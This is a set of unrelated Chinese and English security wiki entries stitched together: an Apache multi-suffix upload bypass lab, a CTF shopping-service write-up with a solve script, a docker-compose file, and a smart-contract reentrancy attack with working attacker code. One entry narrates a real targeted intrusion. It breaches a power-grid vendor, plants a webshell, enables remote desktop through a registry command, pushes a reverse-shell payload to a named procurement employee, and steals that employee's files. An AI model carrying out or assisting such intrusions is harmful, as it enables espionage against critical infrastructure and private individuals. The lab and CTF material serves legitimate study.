# Apache HTTPD 多后缀解析漏洞 Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件: ``` AddType text/html .html AddLanguage zh-CN .cn ``` 其给`.html`后缀增加了media-type,值为`text/html`;给`.cn`后缀增加了语言,值为`zh-CN`。此时,如果用户请求文件`index.cn.html`,他将返回一个中文的html页面。 以上就是Apache多后缀的特性。如果运维人员给`.php`后缀增加了处理器: ``` AddHandler application/x-httpd-php .php ``` 那么,在有多个后缀的情况下,只要一个文件含有`.php`后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。 ## 漏洞环境 运行如下命令启动一个稳定版Apache,并附带PHP 7.3环境: ``` docker compose up -d ``` ## 漏洞复现 环境运行后,访问`http://your-ip/uploadfiles/apache.php.jpeg`即可发现,phpinfo被执行了,该文件被解析为php脚本。 `http://your-ip/index.php`中是一个白名单检查文件后缀的上传组件,上传完成后并未重命名。我们可以通过上传文件名为`xxx.php.jpg`或`xxx.php.jpeg`的文件,利用Apache解析漏洞进行getshell。 ![](1.png) ![](2.png)
sec-knowleage
# Shopping (Pwn, 352p, 90 solved) A bit of an overstatement to call this `pwn`. After passing some PoW we get access to a black-box shopping service: ``` Welcome to Ekoparty shopping Center Feel free to buy up to 5 items that you may like Use wisely your coins, have fun! You have 50 coins What do you wanna buy today? 1. t-shirt 10 2. short 20 3. stickers 1 4. flag ? ``` If we select an item and quantity it will subtract `price*quantity` from our coins if we had enough. The trick here is to notice that we can pass 0 or even negative numbers as quantity, and the application doesn't check it. If we pass a negative number it will give us coins. But we don't even need that much, we can just buy 0 or -1 flags and it will be enough. We run: ```python import hashlib import re import os from crypto_commons.netcat.netcat_commons import nc, send, interactive def PoW(task): while True: data = os.urandom(10) if hashlib.sha1(data).hexdigest()[0:6] == task: return data def main(): url = "shopping.ctf.site" port = 21111 s = nc(url, port) data = s.recv(9999) task = re.findall("== (.*)", data)[0] send(s, PoW(task)) print(s.recv(9999)) send(s, "4") print(s.recv(9999)) send(s, "0") print(s.recv(9999)) interactive(s) main() ``` and we get `EKO{d0_y0u_even_m4th?}`
sec-knowleage
version: '2' services: node: build: . volumes: - ./www:/usr/src/www ports: - "3000:3000"
sec-knowleage
# ASP 代码审计 -- 项目实战2 ## 0x00 任务背景: 需要得知周某某的今年采购的其中一个项目具体信息,目前已知该成员是xxx电网。负责丰满大坝的采购人员。整体思路如下: * 找到开发公司 -> 得到源码 -> 审计问题 -> 得到shell -> 拿到服务器 -> * 得到域控(或者终端管理) -> 得到个人机 -> 下载任务文件。 得知该电网公司电网相关网站是某公司出品,得到某公司对外宣传网站,并且得到该公司服务器权限,下载源码模板。 ## 0x01 源码审计: 全局共计2个主要文件,分别是Function.asp,Startup.asp。 ### 1、Function.asp 后台验证项: * 来源验证: ![](media/f3d00f2e404aed2ace94202fad9196e1.jpg) * 注入验证:(目标服务器waf,遂放弃) ![](media/69876bba47950df97d93d92afc6db16e.jpg) * 错误处理: ![](media/84612708e4d4f301fd655d48dc05267a.jpg) * XSS字符处理: ![](media/2e3dd4d6f449ed860b790f4022b17291.jpg) * 直接输入admin/下文件名处理: ![](media/99f0ee3d3f7cd1ff3965502aff91bf1e.jpg) * 目录生成:针对iis6以及iis7 php版本 ![](media/0a28fcfc4ba6e48eb857cc6b18e374e5.jpg) ### 2、Startup.asp * 配置文件:当不可以执行的时候,是否可以备份出数据库,以便下载。 ![](media/47c48653bf1053dce5cee81320444f63.jpg) * 关于新闻显示,全局incude head.asp ![](media/2275d60bafee51dd0adf82a42b9d079b.jpg) ### 3、check_si.asp 其中 check_si.asp 主要为防止注入 * Get注入 ![](media/398190858612948b7bee70a83bd145c2.jpg) * Post 注入 新版本中加入post注入 过程中遇到服务器卡顿现象,也就是不清楚列名数,本地二分法测试如下: ![](media/6c8bfb4c6de07bb3a93296288a15bbb0.jpg) ![](media/664d42e0571762dcbe9c25f6b43928b1.jpg) ![](media/f6c06ab3aefa6fffd987c9c7c90ed3e0.jpg) ### 4、database.asp 在 admin 目录下有个 database.asp 文件 ![](media/8271f2240cf178ee4a6fba221aeaedc2.jpg) ## 0x02 目标测试: ### 1、越权漏洞 根据以上信息,构造 referrer,构造参数,禁止js。产生出越权漏洞。 ![](media/5d66957a8586118f1ca10d23a0815a85.jpg) ![](media/bff69d4a2c2a89ef8703ec99fd8fc8e3.jpg) ### 2、上传 根据越权漏洞,继续看upload.asp文件,允许匿名上传图片文件。在根据越权漏洞备份出webshell文件 ![](media/35aca0797d0299bb8c104d8be4bb3d6c.jpg) ![](media/cc1c8766b6439d3e3c011ae8250066ad.jpg) ![](media/18f0b435a0ce1ccbb750a46e4b8df563.jpg) ![](media/f1e074099cd43a5aa7057f57762b768f.jpg) ### 3、Get Shell 得到webshell ![](media/17ab0b85f64e92e48eaeeb32ef0f83aa.jpg) ### 4、开启 3389 对方没有开启远程桌面,开启: ```powershell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f ``` ### 5、Get Admin 通过该服务器得到mssql 数据库。得到终端管理权限。 ![](media/ae7a57c36b08aeb2176945f9e2072e6d.jpg) ![](media/ccc30aaffee18324e722073588b55c9b.jpg) ### 6、查找目标 查看在线机器,查找目标人物。 ![](media/7e76f878e0182df67f910a01ccfa315c.jpg) ![](media/9906ffaba02adcbfef821163286b9104.jpg) ### 7、推送 Payload 推送payload 反弹。 ![](media/09d81485119e132856f82757b8418f69.jpg) ![](media/9938674149690d748853a0adf86e8fe3.jpg) ### 8、目标确认 确定是否为目标人物:采购员 桌面截图 ![](media/545e99d1852fd486c825fc29598b0a0d.jpg) ![](media/04deeea27d64d51d2a0826d5d66b488d.jpg) ### 9、Download 按照任务 取得该人员的其中一个xls文件 ![](media/f67aea48578dce29a104af040d4cbe74.jpg) ![](media/ec0b56268a8689d959c65ca976e3cd90.jpg) ### 10、Mission Completed 任务完成。 ![](media/a90bcbaa1e1bb96809cfb8afc4a4dc22.jpg) <p align="right">--By Micropoor </p>
sec-knowleage
# Re-Entrancy 重入攻击是智能合约中的经典攻击。以太坊 The DAO 项目遭受的重入攻击直接导致了以太坊(ETH)和以太坊经典(ETC)的硬分叉。 ## 原理 假设有一个银行合约实现了以下取款功能,在 `balanceOf[msg.sender]` 充足时,合约会转账相应数量的以太币给调用者,并且将 `balanceOf` 减去相应值: ```solidity contract Bank { mapping(address => uint256) public balanceOf; ... function withdraw(uint256 amount) public { require(balanceOf[msg.sender] >= amount); msg.sender.call.value(amount)(); balanceOf[msg.sender] -= amount; } } ``` 这个实现的问题在于,“先给钱后记账”。在以太坊中,合约的调用者可以是另一个智能合约,转账时收款合约的 fallback 函数会被调用。若 fallback 函数内再一次调用了对方的 withdraw 函数,由于此时 `balanceOf` 尚未减少,require 的条件仍然满足,导致可以再次取款。需要注意的是,fallback 函数需要限制重入的次数,否则会因为无限地循环调用,导致 gas 不足。假设攻击合约的存款有 1 ether,可以如下实现取出 2 ether: ```solidity contract Hacker { bool status = false; Bank b; constructor(address addr) public { b = Bank(addr); } function hack() public { b.withdraw(1 ether); } function() public payable { if (!status) { status = true; b.withdraw(1 ether); } } } ``` 此外有几个注意点: - 目标合约使用 call 发送以太币时,默认提供所有剩余 gas;call 操作改为对提款者合约的调用亦可实现攻击;但如果使用 transfer 或者 send 来发送以太币,只有 2300 gas 供攻击合约使用,是不足以完成重入攻击的。 - 执行重入攻击前,需要确认目标合约有足够的以太币来向我们多次转账。如果目标合约没有 payable 的 fallback 函数,则需要新建一个合约,通过 `selfdestruct` 自毁强制转账。 - 上述 fallback 实现中,先改写 `status` 后重入。如果反过来则还是会无限循环调用,这和重入漏洞的道理是一致的。 重入漏洞与整数下溢出漏洞关联密切。在上述攻击后,攻击合约的存款由 1 ether 变为 -1 ether。但注意到存款由 uint256 保存,负数实际上保存为一个极大的正数,后续攻击合约可以继续使用这个大数额的存款。 ## 题目 ### 强网杯 2019 - 题目名称 babybank ### N1CTF 2019 - 题目名称 h4ck !!! note 注:题目附件相关内容可至 [ctf-challenges/blockchain](https://github.com/ctf-wiki/ctf-challenges/tree/master/blockchain) 仓库寻找。
sec-knowleage